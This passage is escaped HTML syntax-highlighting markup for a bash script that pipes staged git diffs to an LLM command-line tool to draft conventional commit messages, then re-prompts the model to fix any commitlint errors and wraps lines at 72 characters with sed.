&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-shell z-bash&quot;&gt;&lt;span class=&quot;z-variable z-other z-readwrite z-assignment z-shell&quot;&gt;CREATE_COMMIT_PROMPT&lt;&#x2F;span&gt;&lt;span class=&quot;z-keyword z-operator z-assignment z-shell&quot;&gt;=&lt;&#x2F;span&gt;&lt;span class=&quot;z-string z-unquoted z-shell&quot;&gt;&lt;span class=&quot;z-string z-quoted z-double z-shell&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-begin z-shell&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-end z-shell&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-string z-quoted z-double z-shell&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-begin z-shell&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-shell z-bash&quot;&gt;&lt;span class=&quot;z-string z-unquoted z-shell&quot;&gt;&lt;span class=&quot;z-string z-quoted z-double z-shell&quot;&gt;You&amp;#39;re a very experienced developer, you write short commits.
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-shell z-bash&quot;&gt;&lt;span class=&quot;z-string z-unquoted z-shell&quot;&gt;&lt;span class=&quot;z-string z-quoted z-double z-shell&quot;&gt;Write a commit message using this template:
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-shell z-bash&quot;&gt;&lt;span class=&quot;z-string z-unquoted z-shell&quot;&gt;&lt;span class=&quot;z-string z-quoted z-double z-shell&quot;&gt;
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-shell z-bash&quot;&gt;&lt;span class=&quot;z-string z-unquoted z-shell&quot;&gt;&lt;span class=&quot;z-string z-quoted z-double z-shell&quot;&gt;TYPE: DESCRIPTION
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-shell z-bash&quot;&gt;&lt;span class=&quot;z-string z-unquoted z-shell&quot;&gt;&lt;span class=&quot;z-string z-quoted z-double z-shell&quot;&gt;
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-shell z-bash&quot;&gt;&lt;span class=&quot;z-string z-unquoted z-shell&quot;&gt;&lt;span class=&quot;z-string z-quoted z-double z-shell&quot;&gt;DETAILS
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-shell z-bash&quot;&gt;&lt;span class=&quot;z-string z-unquoted z-shell&quot;&gt;&lt;span class=&quot;z-string z-quoted z-double z-shell&quot;&gt;
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-shell z-bash&quot;&gt;&lt;span class=&quot;z-string z-unquoted z-shell&quot;&gt;&lt;span class=&quot;z-string z-quoted z-double z-shell&quot;&gt;Replace TYPE by &amp;#39;feat&amp;#39;, &amp;#39;fix&amp;#39; or &amp;#39;docs&amp;#39;
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-shell z-bash&quot;&gt;&lt;span class=&quot;z-string z-unquoted z-shell&quot;&gt;&lt;span class=&quot;z-string z-quoted z-double z-shell&quot;&gt;Replace DESCRIPTION by a short sentence describing the changes
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-shell z-bash&quot;&gt;&lt;span class=&quot;z-string z-unquoted z-shell&quot;&gt;&lt;span class=&quot;z-string z-quoted z-double z-shell&quot;&gt;Replace DETAILS by a longer description of the changes
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-shell z-bash&quot;&gt;&lt;span class=&quot;z-string z-unquoted z-shell&quot;&gt;&lt;span class=&quot;z-string z-quoted z-double z-shell&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-end z-shell&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-string z-quoted z-double z-shell&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-begin z-shell&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-end z-shell&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-shell z-bash&quot;&gt;&lt;span class=&quot;z-variable z-other z-readwrite z-assignment z-shell&quot;&gt;CORRECT_COMMIT_PROMPT&lt;&#x2F;span&gt;&lt;span class=&quot;z-keyword z-operator z-assignment z-shell&quot;&gt;=&lt;&#x2F;span&gt;&lt;span class=&quot;z-string z-unquoted z-shell&quot;&gt;&lt;span class=&quot;z-string z-quoted z-double z-shell&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-begin z-shell&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-end z-shell&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-string z-quoted z-double z-shell&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-begin z-shell&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-shell z-bash&quot;&gt;&lt;span class=&quot;z-string z-unquoted z-shell&quot;&gt;&lt;span class=&quot;z-string z-quoted z-double z-shell&quot;&gt;Correct the input to fix the errors.
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-shell z-bash&quot;&gt;&lt;span class=&quot;z-string z-unquoted z-shell&quot;&gt;&lt;span class=&quot;z-string z-quoted z-double z-shell&quot;&gt;Do not try to change the commitlint configuration.
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-shell z-bash&quot;&gt;&lt;span class=&quot;z-string z-unquoted z-shell&quot;&gt;&lt;span class=&quot;z-string z-quoted z-double z-shell&quot;&gt;Only output the corrected input.
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-shell z-bash&quot;&gt;&lt;span class=&quot;z-string z-unquoted z-shell&quot;&gt;&lt;span class=&quot;z-string z-quoted z-double z-shell&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-end z-shell&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-string z-quoted z-double z-shell&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-begin z-shell&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-end z-shell&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-shell z-bash&quot;&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-shell z-bash&quot;&gt;&lt;span class=&quot;z-comment z-line z-number-sign z-shell&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-comment z-begin z-shell&quot;&gt;#&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-comment z-line z-number-sign z-shell&quot;&gt; how many times should we ask the LLM to correct its own message&lt;&#x2F;span&gt;&lt;span class=&quot;z-comment z-line z-number-sign z-shell&quot;&gt;
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-shell z-bash&quot;&gt;&lt;span class=&quot;z-variable z-other z-readwrite z-assignment z-shell&quot;&gt;NUMBER_OF_RETRIES&lt;&#x2F;span&gt;&lt;span class=&quot;z-keyword z-operator z-assignment z-shell&quot;&gt;=&lt;&#x2F;span&gt;&lt;span class=&quot;z-string z-unquoted z-shell&quot;&gt;2&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-shell z-bash&quot;&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-shell z-bash&quot;&gt;&lt;span class=&quot;z-meta z-function-call z-shell&quot;&gt;&lt;span class=&quot;z-variable z-function z-shell&quot;&gt;git&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-shell&quot;&gt; diff&lt;span class=&quot;z-variable z-parameter z-option z-shell&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-parameter z-shell&quot;&gt; --&lt;&#x2F;span&gt;cached&lt;&#x2F;span&gt; &lt;span class=&quot;z-keyword z-operator z-assignment z-redirection z-shell&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-group z-expansion z-parameter z-shell&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-variable z-shell&quot;&gt;$&lt;&#x2F;span&gt;&lt;span class=&quot;z-variable z-other z-readwrite z-shell&quot;&gt;DIFF_TEMP_FILE&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-shell z-bash&quot;&gt;&lt;span class=&quot;z-meta z-function-call z-shell&quot;&gt;&lt;span class=&quot;z-variable z-function z-shell&quot;&gt;llm&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-shell&quot;&gt;&lt;span class=&quot;z-variable z-parameter z-option z-shell&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-parameter z-shell&quot;&gt; -&lt;&#x2F;span&gt;s&lt;&#x2F;span&gt; &lt;span class=&quot;z-string z-quoted z-double z-shell&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-begin z-shell&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-group z-expansion z-parameter z-shell&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-variable z-shell&quot;&gt;$&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-expansion z-parameter z-begin z-shell&quot;&gt;{&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-group z-expansion z-parameter z-shell&quot;&gt;&lt;span class=&quot;z-variable z-other z-readwrite z-shell&quot;&gt;CREATE_COMMIT_PROMPT&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-group z-expansion z-parameter z-shell&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-expansion z-parameter z-end z-shell&quot;&gt;}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-end z-shell&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt; &lt;span class=&quot;z-keyword z-operator z-assignment z-redirection z-shell&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-group z-expansion z-parameter z-shell&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-variable z-shell&quot;&gt;$&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-expansion z-parameter z-begin z-shell&quot;&gt;{&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-group z-expansion z-parameter z-shell&quot;&gt;&lt;span class=&quot;z-variable z-other z-readwrite z-shell&quot;&gt;DIFF_TEMP_FILE&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-group z-expansion z-parameter z-shell&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-expansion z-parameter z-end z-shell&quot;&gt;}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt; &lt;span class=&quot;z-keyword z-operator z-assignment z-redirection z-shell&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-group z-expansion z-parameter z-shell&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-variable z-shell&quot;&gt;$&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-expansion z-parameter z-begin z-shell&quot;&gt;{&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-group z-expansion z-parameter z-shell&quot;&gt;&lt;span class=&quot;z-variable z-other z-readwrite z-shell&quot;&gt;COMMIT_MSG_TEMP_FILE&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-group z-expansion z-parameter z-shell&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-expansion z-parameter z-end z-shell&quot;&gt;}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-shell z-bash&quot;&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-shell z-bash&quot;&gt;&lt;span class=&quot;z-comment z-line z-number-sign z-shell&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-comment z-begin z-shell&quot;&gt;#&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-comment z-line z-number-sign z-shell&quot;&gt; if the LLM doesn&amp;#39;t pass the commitlint check&lt;&#x2F;span&gt;&lt;span class=&quot;z-comment z-line z-number-sign z-shell&quot;&gt;
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-shell z-bash&quot;&gt;&lt;span class=&quot;z-keyword z-control z-conditional z-if z-shell&quot;&gt;if&lt;&#x2F;span&gt; &lt;span class=&quot;z-keyword z-operator z-logical z-shell&quot;&gt;!&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-function-call z-shell&quot;&gt;&lt;span class=&quot;z-variable z-function z-shell&quot;&gt;commitlint&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-shell&quot;&gt; &lt;span class=&quot;z-keyword z-operator z-assignment z-redirection z-shell&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-group z-expansion z-parameter z-shell&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-variable z-shell&quot;&gt;$&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-expansion z-parameter z-begin z-shell&quot;&gt;{&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-group z-expansion z-parameter z-shell&quot;&gt;&lt;span class=&quot;z-variable z-other z-readwrite z-shell&quot;&gt;COMMIT_MSG_TEMP_FILE&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-group z-expansion z-parameter z-shell&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-expansion z-parameter z-end z-shell&quot;&gt;}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt; &lt;span class=&quot;z-keyword z-operator z-assignment z-redirection z-shell&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-group z-expansion z-parameter z-shell&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-variable z-shell&quot;&gt;$&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-expansion z-parameter z-begin z-shell&quot;&gt;{&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-group z-expansion z-parameter z-shell&quot;&gt;&lt;span class=&quot;z-variable z-other z-readwrite z-shell&quot;&gt;COMMIT_ERRORS_TEMP_FILE&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-group z-expansion z-parameter z-shell&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-expansion z-parameter z-end z-shell&quot;&gt;}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-keyword z-operator z-logical z-continue z-shell&quot;&gt;;&lt;&#x2F;span&gt; &lt;span class=&quot;z-keyword z-control z-conditional z-then z-shell&quot;&gt;then&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-shell z-bash&quot;&gt;    &lt;span class=&quot;z-keyword z-control z-loop z-while z-shell&quot;&gt;while&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-function-call z-arguments z-shell&quot;&gt;&lt;span class=&quot;z-support z-function z-double-brace z-begin z-shell&quot;&gt;[[&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-group z-expansion z-parameter z-shell&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-variable z-shell&quot;&gt;$&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-expansion z-parameter z-begin z-shell&quot;&gt;{&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-group z-expansion z-parameter z-shell&quot;&gt;&lt;span class=&quot;z-variable z-other z-readwrite z-shell&quot;&gt;NUMBER_OF_RETRIES&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-group z-expansion z-parameter z-shell&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-expansion z-parameter z-end z-shell&quot;&gt;}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt; &lt;span class=&quot;z-variable z-parameter z-option z-shell&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-parameter z-shell&quot;&gt;-&lt;&#x2F;span&gt;gt&lt;&#x2F;span&gt; 0 &lt;span class=&quot;z-support z-function z-double-brace z-end z-shell&quot;&gt;]]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-keyword z-operator z-logical z-continue z-shell&quot;&gt;;&lt;&#x2F;span&gt; &lt;span class=&quot;z-keyword z-control z-loop z-do z-shell&quot;&gt;do&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-shell z-bash&quot;&gt;        &lt;span class=&quot;z-comment z-line z-number-sign z-shell&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-comment z-begin z-shell&quot;&gt;#&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-comment z-line z-number-sign z-shell&quot;&gt; commitlint outputs the inputted commit message and all errors&#x2F;warnings&lt;&#x2F;span&gt;&lt;span class=&quot;z-comment z-line z-number-sign z-shell&quot;&gt;
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-shell z-bash&quot;&gt;        &lt;span class=&quot;z-comment z-line z-number-sign z-shell&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-comment z-begin z-shell&quot;&gt;#&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-comment z-line z-number-sign z-shell&quot;&gt; feed that to the LLM and ask it to correct the commit&lt;&#x2F;span&gt;&lt;span class=&quot;z-comment z-line z-number-sign z-shell&quot;&gt;
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-shell z-bash&quot;&gt;        &lt;span class=&quot;z-meta z-function-call z-shell&quot;&gt;&lt;span class=&quot;z-variable z-function z-shell&quot;&gt;llm&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-shell&quot;&gt;&lt;span class=&quot;z-variable z-parameter z-option z-shell&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-parameter z-shell&quot;&gt; -&lt;&#x2F;span&gt;s&lt;&#x2F;span&gt; &lt;span class=&quot;z-string z-quoted z-double z-shell&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-begin z-shell&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-group z-expansion z-parameter z-shell&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-variable z-shell&quot;&gt;$&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-expansion z-parameter z-begin z-shell&quot;&gt;{&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-group z-expansion z-parameter z-shell&quot;&gt;&lt;span class=&quot;z-variable z-other z-readwrite z-shell&quot;&gt;CORRECT_COMMIT_PROMPT&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-group z-expansion z-parameter z-shell&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-expansion z-parameter z-end z-shell&quot;&gt;}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-end z-shell&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt; &lt;span class=&quot;z-keyword z-operator z-assignment z-redirection z-shell&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-group z-expansion z-parameter z-shell&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-variable z-shell&quot;&gt;$&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-expansion z-parameter z-begin z-shell&quot;&gt;{&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-group z-expansion z-parameter z-shell&quot;&gt;&lt;span class=&quot;z-variable z-other z-readwrite z-shell&quot;&gt;COMMIT_ERRORS_TEMP_FILE&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-group z-expansion z-parameter z-shell&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-expansion z-parameter z-end z-shell&quot;&gt;}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt; &lt;span class=&quot;z-keyword z-operator z-assignment z-redirection z-shell&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-group z-expansion z-parameter z-shell&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-variable z-shell&quot;&gt;$&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-expansion z-parameter z-begin z-shell&quot;&gt;{&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-group z-expansion z-parameter z-shell&quot;&gt;&lt;span class=&quot;z-variable z-other z-readwrite z-shell&quot;&gt;COMMIT_MSG_TEMP_FILE&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-group z-expansion z-parameter z-shell&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-expansion z-parameter z-end z-shell&quot;&gt;}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-shell z-bash&quot;&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-shell z-bash&quot;&gt;        &lt;span class=&quot;z-comment z-line z-number-sign z-shell&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-comment z-begin z-shell&quot;&gt;#&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-comment z-line z-number-sign z-shell&quot;&gt; insert a new line after 72 characters. Small LLMs tend to struggle enforcing this rule&lt;&#x2F;span&gt;&lt;span class=&quot;z-comment z-line z-number-sign z-shell&quot;&gt;
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-shell z-bash&quot;&gt;        &lt;span class=&quot;z-meta z-function-call z-shell&quot;&gt;&lt;span class=&quot;z-variable z-function z-shell&quot;&gt;sed&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-shell&quot;&gt;&lt;span class=&quot;z-variable z-parameter z-option z-shell&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-parameter z-shell&quot;&gt; -&lt;&#x2F;span&gt;ie&lt;&#x2F;span&gt; &lt;span class=&quot;z-string z-quoted z-double z-shell&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-begin z-shell&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;s&#x2F;.\{72\}&#x2F;&amp;amp;\n&#x2F;g&lt;span class=&quot;z-punctuation z-definition z-string z-end z-shell&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-group z-expansion z-parameter z-shell&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-variable z-shell&quot;&gt;$&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-expansion z-parameter z-begin z-shell&quot;&gt;{&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-group z-expansion z-parameter z-shell&quot;&gt;&lt;span class=&quot;z-variable z-other z-readwrite z-shell&quot;&gt;COMMIT_MSG_TEMP_FILE&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-group z-expansion z-parameter z-shell&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-expansion z-parameter z-end z-shell&quot;&gt;}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-shell z-bash&quot;&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-shell z-bash&quot;&gt;        &lt;span class=&quot;z-meta z-function-call z-shell&quot;&gt;&lt;span class=&quot;z-variable z-function z-shell&quot;&gt;commitlint&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-shell&quot;&gt; &lt;span class=&quot;z-keyword z-operator z-assignment z-redirection z-shell&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-group z-expansion z-parameter z-shell&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-variable z-shell&quot;&gt;$&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-expansion z-parameter z-begin z-shell&quot;&gt;{&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-group z-expansion z-parameter z-shell&quot;&gt;&lt;span class=&quot;z-variable z-other z-readwrite z-shell&quot;&gt;COMMIT_MSG_TEMP_FILE&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-group z-expansion z-parameter z-shell&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-expansion z-parameter z-end z-shell&quot;&gt;}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt; &lt;span class=&quot;z-keyword z-operator z-assignment z-redirection z-shell&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-group z-expansion z-parameter z-shell&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-variable z-shell&quot;&gt;$&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-expansion z-parameter z-begin z-shell&quot;&gt;{&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-group z-expansion z-parameter z-shell&quot;&gt;&lt;span class=&quot;z-variable z-other z-readwrite z-shell&quot;&gt;COMMIT_ERRORS_TEMP_FILE&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-group z-expansion z-parameter z-shell&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-expansion z-parameter z-end z-shell&quot;&gt;}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-shell z-bash&quot;&gt;        &lt;span class=&quot;z-meta z-function-call z-arguments z-shell&quot;&gt;&lt;span class=&quot;z-support z-function z-double-brace z-begin z-shell&quot;&gt;[[&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-group z-expansion z-parameter z-shell&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-variable z-shell&quot;&gt;$&lt;&#x2F;span&gt;&lt;span class=&quot;z-variable z-language z-shell&quot;&gt;?&lt;&#x2F;span&gt;&lt;&#x2F;span&gt; &lt;span class=&quot;z-variable z-parameter z-option z-shell&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-parameter z-shell&quot;&gt;-&lt;&#x2F;span&gt;ne&lt;&#x2F;span&gt; 0 &lt;span class=&quot;z-support z-function z-double-brace z-end z-shell&quot;&gt;]]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt; &lt;span class=&quot;z-keyword z-operator z-logical z-and z-shell&quot;&gt;&amp;amp;&amp;amp;&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-group z-arithmetic z-shell&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arithmetic z-begin z-shell&quot;&gt;((&lt;&#x2F;span&gt;NUMBER_OF_RETRIES&lt;span class=&quot;z-keyword z-operator z-arithmetic z-shell&quot;&gt;--&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arithmetic z-end z-shell&quot;&gt;))&lt;&#x2F;span&gt;&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-function-call z-shell&quot;&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-keyword z-operator z-logical z-or 